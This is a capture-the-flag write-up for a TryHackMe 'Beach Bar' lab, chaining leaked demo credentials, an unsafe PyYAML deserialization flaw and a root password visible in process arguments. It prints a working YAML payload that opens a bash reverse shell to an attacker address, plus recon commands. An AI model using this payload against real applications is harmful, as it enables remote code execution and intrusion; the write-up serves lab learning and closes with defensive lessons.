TryHackMeEasy

Hacker Holidays — Day 5: Beach Bar

Demo creds in an HTML comment lead to an unsafe YAML deserialization RCE in a playlist importer, then a root password exposed in plain process arguments gets reused directly for su root.

Pink ghost mascot wearing sunglasses and holding a phone

Event: Hacker Holidays — The Byte Lotus Hotel · Day 5 · Boot2Root (Web → Linux privesc) Target: http://MACHINE_IP

The Chain at a Glance

  1. Creds leaked in an HTML comment → log into the DJ app (dj:dj).
  2. Playlist import parses YAML with the unsafe loader → deserialization RCE → shell as bartender (user flag).
  3. A root-owned “jukebox” daemon exposes a password in its process arguments; that password is reused for rootsu root (root flag).

Recon

nmap -A -p- -Pn -n -T4 10.128.179.41
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu
80/tcp open  http    Gunicorn   (Beach Bar // Sign in, redirects to /login)

Only 22 and 80 exposed. The web app is Flask behind Gunicorn.

Content discovery finds the interesting routes (all auth-gated → /login):

ffuf -u http://10.128.179.41/FUZZ -w /usr/share/wordlists/dirb/big.txt
# dashboard, export, import, login, logout

Creds in the Page Source

The /login HTML carries a developer comment:

<!--
  staff note: the demo DJ login is still enabled for the soft opening.
  dj / dj  -- swap this before the season starts (ticket BAR-7)
-->

Log in with dj / dj. The Flask session cookie decodes to {"user":"dj"} (signed with a hardcoded secret_key, though we never need to forge it).

Foothold — Unsafe YAML Deserialization

/import accepts a playlist as YAML (paste or .yml upload). Template-injection probes ({{7*7}}, ${7*7}, <%= %>) all fail with a PyYAML parser error:

Could not load playlist: while constructing a mapping ... found unhashable key

That error is the tell: the input is parsed as YAML, not rendered by a template engine. The app source (recovered post-foothold) confirms the bug:

parsed = yaml.load(content, Loader=yaml.Loader)   # full/unsafe loader

yaml.Loader (unsafe) honours the !!python/object/apply tag, which instantiates arbitrary Python objects — i.e. code execution during parsing. No output reflection needed, so go straight for a reverse shell.

Listener:

nc -lvnp 4444

Payload submitted as the playlist (YOUR_IP = tun0 address):

!!python/object/apply:os.system ["bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"]

Shell lands as bartender (the gunicorn worker user):

bartender@tryhackme-2404:/opt/beach-bar/webapp$ id
uid=1001(bartender) gid=1001(bartender) groups=1001(bartender)

User Flag

cat /home/bartender/user.txt
THM{redacted}

Privilege Escalation — Credential Reuse via ps

No sudo (password required), no useful SUID/capabilities, no writable cron. The winning enumeration is the process list — the “service down the boardwalk quietly announcing something” from the briefing:

ps aux | grep root
root  611  /opt/beach-bar/venv/bin/python /opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass S[REDACTED]4! --bitrate 320k

jukeboxd.py runs as root and its --stream-pass is visible to every user via /proc / ps. The daemon itself is a red herring (it just loops time.sleep(30) over a hardcoded “now playing” list) — the value is the exposed password.

Leaked secrets are usually reused. It is:

bartender@tryhackme-2404:~$ su root
Password: S[REDACTED]4!
root@tryhackme-2404:~# cat /root/root.txt
THM{redacted}

Takeaways

  • Read parser errors before guessing payloads. “found unhashable key” pointed straight at YAML, saving a long dead-end down the SSTI path. yaml.load(..., Loader=yaml.Loader) = RCE; SafeLoader/yaml.safe_load would have blocked the !!python/object/apply tag.
  • Secrets in process arguments are public. Anything on a command line (--stream-pass, --password, tokens) is world-readable via ps / /proc/<pid>/cmdline. Pass secrets via env files or stdin, never argv.
  • Credential reuse is the glue. The root password was handed to us by a low-priv shell simply reading the process table. Enumerate ps aux early on every box.
  • Layered dev sloppiness: demo creds left in HTML → unsafe deserialization → root secret on a command line. Each is a “shipped on a deadline” mistake; chained, they’re full compromise.

Flags

user: THM{redacted}
root: THM{redacted}